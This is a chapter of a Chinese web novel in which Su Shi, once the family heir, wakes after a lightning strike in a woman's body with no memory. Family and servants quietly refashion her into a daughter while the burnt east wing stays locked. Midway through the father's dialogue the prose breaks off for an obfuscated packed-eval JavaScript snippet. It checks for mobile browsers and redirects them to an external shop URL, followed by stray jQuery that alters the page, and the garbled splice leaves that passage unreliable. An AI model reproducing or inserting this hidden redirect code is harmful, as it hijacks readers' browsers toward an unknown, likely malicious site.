（弘昌二十二年，三月廿二。）
之后几日，苏府始终未能安静。
苏景行请遍了京中有名的郎中。那些人隔着纱帐替苏时诊脉，又问她饮食、睡眠、神志，最后说法大同小异：脉象虚，气血未宁，像是受了大惊，除此之外，看不出实症。
至于最要紧的那一件，来人再谨慎，也只能低声回禀：
“小姐如今，确是女儿身。”
这句话每响起一回，林青卿的脸色便白一分。苏景行立在屏风外，手背负在身后，袖中指节绷得发僵，始终未曾出声打断。
郎中查不出病，苏景行又请了寺里的方丈、道观里的道长，连几个据说能镇祟安宅的法师也请进府来。
那些人分作两处。
一处在听雪轩外。
苏时被安置在纱帐之后，听见外间木鱼声、铃声、低低的诵经声，一阵接着一阵。有人隔帐问她醒来后可曾梦魇，可曾听见异声，可曾觉得身上哪里“不属于自己”。她每一问都答不上来，只能攥着袖口，望着帐顶垂下来的流苏。
另一处去了东厢房。
那座被雷火劈开的旧屋仍封着，院门上贴了封条，焦黑的梁木和碎瓦一直未动。高僧与道士站在门前看了许久，命人摆香案、洒净水，又绕着残屋诵经行咒。风从破开的屋顶穿过去，吹得黄符贴在门板上簌簌作响。府中老仆远远跪着，连头也不敢抬。
做完法事后，方丈只对苏景行说了一句：
“雷火落过的地方，暂且莫动。”
道长也道，屋中焦木、碎瓦、旧物，须待七七之后另择吉日清理。仓促搬动，惊扰宅气，于人不利。
苏景行听完，没有多问。东厢房继续封着，院门又添了一道锁。自那日起，府中下人经过东院，都绕远路走。
听雪轩外的香火烧了数日。
符纸成灰，诵经声从清晨拖到夜里。可来人看过苏时后，仍说她无邪，无祟，魂魄安宁，神智清明。她忘了旧事，身子也虚，除此之外，再无别的说法。
若是邪祟，还能驱。
若是病症，还能治。
如今人人都说她无病无灾，连这副身体也从里到外都是女儿身，苏府最后一点侥幸，便也被这些温和、谨慎、滴水不漏的话堵住了。
苏景行来听雪轩的次数渐渐少了。
即便来了，也多半立在门口，问几句“今日可好”“可曾想起什么”。他的目光偶尔落到苏时身上，很快移开。那个原该继承苏家门楣的嫡子，如今坐在月白衣裙里，眉眼陌生，声音轻软，连称呼他一声“父亲”都带着犹疑。
他看得越短，屋中越冷。
林青卿日日都来。
她亲自盯药炉，替苏时挑衣料，命绣娘赶制新裙。她仍叫她“时儿”，有时端着药碗坐在榻边，话说到一半，便自己停住。
“你从前……”
苏时抬眼看她。
林青卿低头吹了吹药汤，热气遮住她发红的眼角。
“先喝药吧。”
她不再往下说。
后来送来的衣料，也渐渐换成了月白、水绿、藕荷一类的颜色。箱笼开了又合，旧日那些宝蓝、石青、鸦青的缎子被压到底下，再没拿出来。
苏时也在这些天里慢慢知道了自己的处境。
她原本是苏府的公子，苏家唯一的男嗣，名叫苏时。听说从前的她荒唐，不成器，常惹父亲震怒，也让姐姐苏婉仪厌恶。
这些事对现在的她而言，像隔墙传来的旧戏。人人都知道台上唱过什么，唯独她坐在台下，连开场锣声也未听见。
苏婉仪每日都会到听雪轩来。
她来时，多半带一本书，在窗边坐半个时辰。偶尔向苏时讲府里的规矩：早膳从哪道门送进来，药碗该放回何处，见了管事嬷嬷如何称呼，院中哪些丫鬟是母亲拨来的，哪些仆妇只在外头洒扫。
也讲路。主院往哪边走，花厅在何处，父亲的外书房隔着哪两重院墙。说到东院，她便停一停，只道：“那里封了，暂时别去。”
苏时记下了。
东院。封了。暂时别去。
苏时努力记着。
父亲叫苏景行，是苏府家主，官至户部侍郎，威严持重，最重规矩。
母亲叫林青卿，性情温婉，对她极为疼惜。
春桃原本伺候过从前的苏时，如今拨到她身边。
每听见“原本”二字，苏时心口便空一下。
这日黄昏，雨刚停，庭中芭蕉叶上滚着水珠。
苏时抱膝坐在榻上，身上穿着林青卿新送来的浅粉色襦裙。衣料很软，她仍不大习惯，指尖在袖口上轻轻绞着。苏婉仪坐在不远处看书，屋中只余翻页声和檐下滴水声。
苏时犹豫许久，抬头看她。
“他们说，我从前做了许多荒唐事。”
苏婉仪翻书的手停了。
苏时看见她停下，立刻垂眼，指尖将衣料攥紧。
“姐姐从前……很厌恶我？”
屋中静了一瞬。
苏婉仪合上书，放到案边。她起身走到窗前，看着雨水从芭蕉叶尖坠下。
“从前的苏时，确实做过不少荒唐事。”她道，“不爱读书，不肯上进，常在外头厮混。父亲气他不争，母亲为他操心。”
苏时肩膀微微缩起。
苏婉仪没有回头。
“我也看不惯他。”
这句话说得很轻，轻到没有多少锋芒。
苏时等了一会儿，见她不再往下说，反而更不安。
“那……为什么？”
苏婉仪的指尖搭在窗框上，窗外湿意沾上她的指腹。
“因为他什么都不做，仍占着那个位置。”
苏时怔住。
苏婉仪道：“旁人夸我才女。”
她看着窗外，声音很淡。
“夸完了，仍要问我的亲事。”
苏时怔怔听着。
苏婉仪的手指在窗框上停了停。庭中雨水从芭蕉叶尖坠下，砸在青石上，碎成一点湿痕。
“从前的苏时再荒唐，也没人问他将来要嫁到哪里去。”
话到这里，她便不再说了。
苏时攥着裙摆，胸口被那几句话闷住。她听不全明白，只觉得那几句话落下来，屋里的雨声都轻了些。
“我不记得了。”她低声道。
苏婉仪转过身，看了她一眼。
榻上的少女穿着新裁的粉裙，脸色发白，眼神惶然。她与从前的苏时相差太远。那个人被讥讽时，惯会低着头，偶尔扯出一点笑，叫人看了更恼。
眼前这个人，连旧事两个字都承受不住。
苏婉仪收回目光。
“那就别问。”
苏时抬起头。
苏婉仪已经走回案边，重新拿起书卷。
“你如今连这身衣裳都穿不明白，先把眼前的事学会。”
这话算不得好听。
苏时指尖缩了一下，低低应了声：“嗯。”
苏婉仪翻开书，纸页轻轻一响。
“身子养好之前，少想这些。”
她的目光落回书上，没再看苏时。
苏时坐在榻上，裙摆被她攥出几道细褶。窗外雨水还在滴，一声一声，敲得人心里发空。
又过几日，听雪轩正房也收拾妥当。
窗纸重新糊过，帐幔换了新的，地板擦洗数遍，墙边旧书架撤去，添了梳妆台、屏风、软榻和衣柜。屋里只剩新木、浆糊和熏香混在一起的气味。
这里原本多年空着，连旧日烟火气都淡得很，如今忽然添进梳妆台、雕花屏风、软榻和绣帘，处处周全，处处陌生。倒像府里匆忙替“二小姐”搭出来的一间屋子。
林青卿亲自盯着人布置。
梳妆台、雕花屏风、软榻、绣帘，一样样搬进去。床帐换成柔和的浅色，窗幔用了水绿色软罗，靠墙添了两只衣柜，里面挂满新裁的女子衣裙，月白、水绿、鹅黄、藕荷，各色都有。梳妆台上的妆奁也被填得满满当当，胭脂、口脂、香粉、珠花、玉簪、眉笔，一样不缺。
一切都周全得叫人喘不过气。
像府里所有人都在忙着把这间屋子洗净、重漆，再把她也一并放进去。
苏时站在屋中，看着这些陌生陈设。她不记得从前住在哪里，屋子是什么样，可眼前这间房太新，太柔软，太像一个已经写好的答案。
春桃捧着一套浅碧色衣裙进来，脚步放得很轻。
她也还未习惯。从前伺候的是少爷，如今要替同一个人梳妆、更衣，学着伺候一位小姐。她每次看向苏时，眼底都会闪过一点恍惚，很快又低下头，把该做的事一件件做妥。
“小姐，夫人让奴婢送新衣裳来。说是江南新进的料子，轻软透气，请您试试合不合身。”
苏时看着那件浅碧色裙子。
“我一定要穿这些吗？”
春桃低下头。
“小姐如今穿从前的衣裳，确实不大合适。”
苏时垂眼看自己的手腕。那只手纤细，皮肤白得陌生。她又看向铜镜中那张脸，最后轻轻点头。
春桃上前替她更衣。
动作很轻，也守着规矩，指尖偶尔停一下。苏时察觉到了，未曾出声，只站在原地，由她整理衣襟，系好裙带。
浅碧色衣裙很快穿好。春桃扶她坐到梳妆台前，替她把长发梳顺。铜镜中映出一张清丽柔弱的少女面孔，眉眼精致，神色不安。
春桃看着镜中人，轻声道：“小姐很好看。”
说完便垂下眼，像怕自己说错话。
苏时没有答。
她望着镜子。镜中人也望着她，穿着女子衣裙，坐在女子闺房里，像已经被妥帖放进一个全新的身份。她看了许久，找不到一点熟悉的痕迹。
不久后，林青卿来了。
她进门时，身后跟着两个丫鬟，一个捧着新裁的外衫，一个捧着妆奁里尚未放进去的几支簪钗。林青卿先看了看屋中陈设，又看向坐在妆台前的苏时，目光在她腰间束带和发间玉簪上停了一停。
“这身料子还算软。”她走近些，伸手替苏时抚平袖口一道细褶，“穿着可磨人？腰带紧不紧？”
苏时摇头。
林青卿便又去看妆台。妆奁已经按她的吩咐填好，她仍亲手打开看了一遍，又将一盒新送来的口脂放进去。
“这些先用着。若颜色不喜欢，娘再叫人换。胭脂不必日日上，伤身子，只是姑娘家的东西，总要备全些。”
苏时听着，喉间发堵。
她知道这份关怀是真的。正因如此，她更不知道该把自己放在哪里。每一件衣裳，每一支簪子，每一盒胭脂，都像在提醒她：快些像一个二小姐。
苏景行也来了。
他停在门口，没有进屋。
苏时抬眼看去，只见他站在门槛外，目光先扫过这间已经变成女子闺房的屋子，又落到她身上。那目光停得不久，便移向一旁的屏风。
林青卿回头看他：“老爷？”
苏景行道：“既已安顿好，便好生静养。无
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606066|205723||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事不要随意出院子。”
林青卿脸上的笑意淡下去。
苏时坐在妆台前，手指搭在膝上，轻轻蜷起。
那话听着像关心，落在屋里，却像又添了一道门闩。
苏景行没有再多说，很快转身离开。林青卿望着他的背影，唇边僵了一瞬，又转回苏时身边，放缓声音。
“你父亲担心你的身子，也怕外头人多嘴。你先安心住着，等养好了，一切都会好起来。”
苏时点了点头。
她低头看身上的浅碧裙摆。
一切都会好起来。
这句话太轻，轻得像窗幔上的风。它拂过耳边，没能落到心里。
父亲和母亲离开后，屋中只剩苏时与春桃。
方才还显得拥挤的房间安静下来。新换的窗幔被风吹动，阳光透过水绿色软罗，落在地上。梳妆台上的妆奁半开着，里面一格一格分得整齐，香粉气和新漆味混在一起，甜腻得叫人发闷。
苏时站在铜镜前。
镜中映出一个穿浅碧色罗裙的少女。乌发披散，眉眼精致，肤色白皙，身形纤弱。那张脸很美，美得像与她毫无关系。
她看了很久，慢慢转身，目光落在春桃身上。
春桃被她看得不安，低下头，手指攥住衣角。
苏时轻声问：“你说，我是谁？”
春桃怔住。
她抬头，看见苏时正望着自己。那双眼睛干净、茫然，没有过去苏家少爷身上的倦怠和敷衍，也没有一点熟悉的神色。
春桃心里发酸，又有些害怕。
她服侍过从前的苏时。那时的少爷会醉醺醺地回府，会随手丢下外袍让她收拾，会在老爷训斥之后独自坐上半夜，也会在大小姐冷言冷语时低头笑一声。那些都算不得好，可总归是她认得的一个人。
眼前这位穿着罗裙，坐在女子闺房里，用这样轻软陌生的声音问她——
“我是谁？”
春桃张了张嘴，声音发涩。
“小姐是苏府的二小姐，是苏时小姐。”
“苏时……”
苏时轻轻重复这个名字。无论怎样想，脑海里仍是一片雾。
她抬手摸了摸自己的脸，又低头看向身上的衣裙。
“那以前呢？”
春桃脸色微变。
苏时看着她，继续问：“他们说，我以前不是这样的。他们说，我原本是苏家的公子，被雷劈了以后，才成了现在这样。”
她说得很慢。每个字都像刚从别人嘴里学来，连在一起时，仍带着荒唐的凉意。
“我以前是什么样的人？”
春桃站在原地，不知该如何回答。
说实话太残忍，说假话也骗不过这双眼睛。她想起从前的苏时，想起那些醉酒归来的夜晚，想起苏景行一次次震怒，林青卿暗自垂泪，也想起苏婉仪每次见到苏时时，那双冷如霜雪的眼睛。
过了很久，春桃低声道：“以前的事，小姐既想不起来，便先别想了。夫人说，小姐如今身子弱，最要紧的是养好身体。”
这话是在回避，苏时听出来了。
她垂下眼，手指抚过袖口细软的料子。布料柔滑，贴在指尖，真实得叫人无处可躲。
所有人都在告诉她现在是谁。
无人肯认真告诉她过去是谁。
父亲叫她静养，母亲急着疼她，姐姐让她先别记，春桃也低头避开。东厢房封着，旧物锁着，连雷火劈过的地方都被香灰、黄符和门锁一层层隔开。
那个“从前的苏时”，像一团被藏在门后的影子。
他们越不提，他越在那里。
“是吗……”
苏时轻声道。
她重新转向铜镜。
镜中的少女也望着她。眉眼柔弱，神情空茫，穿着新裁的浅碧衣裙，像被摆进这间屋子的精致人偶。
春桃连忙上前一步：“小姐……”
苏时望着镜子，忽然开口：“春桃。”
“奴婢在。”
“替我梳头吧。”
春桃愣住。
苏时停了一下，声音轻得像怕惊动镜中人。
“像姐姐那样，梳个好看的发髻。”
春桃眼眶一酸，低声应下：“是，小姐。”
她走到苏时身后，拿起梳妆台上的桃木梳，替她梳理长发。
苏时的头发很长，也很顺，乌黑柔亮地垂在身后。春桃的手指穿过发间时，眼前有一瞬恍惚。她曾无数次替少爷整理发冠，如今同一个人坐在镜前，她要替她挽女子的发髻。
这变化太快。
快到所有人都来不及喘息，便要跪下认命。
春桃低着头，替苏时挽起发髻，又挑了一支素净玉簪插入发间。
镜中的少女一点点换了模样。
披散的长发被束起后，她看起来有了几分闺阁小姐的样子。眉眼仍旧惶然，像隔着一层水雾看人间。
苏时安静地望着铜镜。
镜子里，是一个名叫苏时的少女。
这个名字究竟属于过去那个苏家公子，还是属于现在这个苏府二小姐，她分不清。
也许所有人都盼她不要再问。
可东厢房还锁着。
那件宝蓝锦袍也不知被收去了哪里。
她醒来时坐过的焦黑地面、从屋顶漏下来的雨、案上被残墨淹过的字，全都被藏在了她看不见的地方。
——————————————————————————————————————